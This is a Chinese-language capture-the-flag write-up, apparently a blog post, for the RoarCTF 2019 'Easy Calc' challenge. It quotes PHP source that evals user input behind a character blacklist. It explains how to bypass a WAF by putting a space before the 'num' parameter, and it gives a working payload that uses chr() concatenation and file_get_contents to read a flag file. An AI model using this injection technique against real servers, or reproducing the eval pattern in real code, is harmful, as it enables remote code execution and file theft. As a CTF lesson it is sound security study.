[RoarCTF 2019]Easy Calc
打开网站
注释里发现内容
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()), //提交的地址
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
怀疑存在模板注入漏洞
存在WAF被过滤了
直接请求calc.php显示了源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; //限制的黑名单
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这是一段限制的代码,利用正则表达式
特殊字符好像就直接页面错误,,这应该是waf!!!
可是我们不知道waf如何写的,,该如何绕过呢??
其实利用PHP的字符串解析特性就能够进行绕过waf!!
构造参数? num=phpinfo()
(注意num前面有个空格)就能够绕过:
为什么要在num前加一个空格?
答:假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
发现过滤怎么办?
答:用char()转ascii再进行拼接
接下来就好办了,由于“/”被过滤了,,,所以我们可以使用chr(47)来进行表示,进行目录读取:
发现了名字为 flagg
的文件,直接执行php命令 file_get_contents()
函数获取flagg文件里面的内容,
payload:
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag
本文来自博客园,作者:oldliutou,转载请注明原文链接:https://www.cnblogs.com/oldliutou/p/15694611.html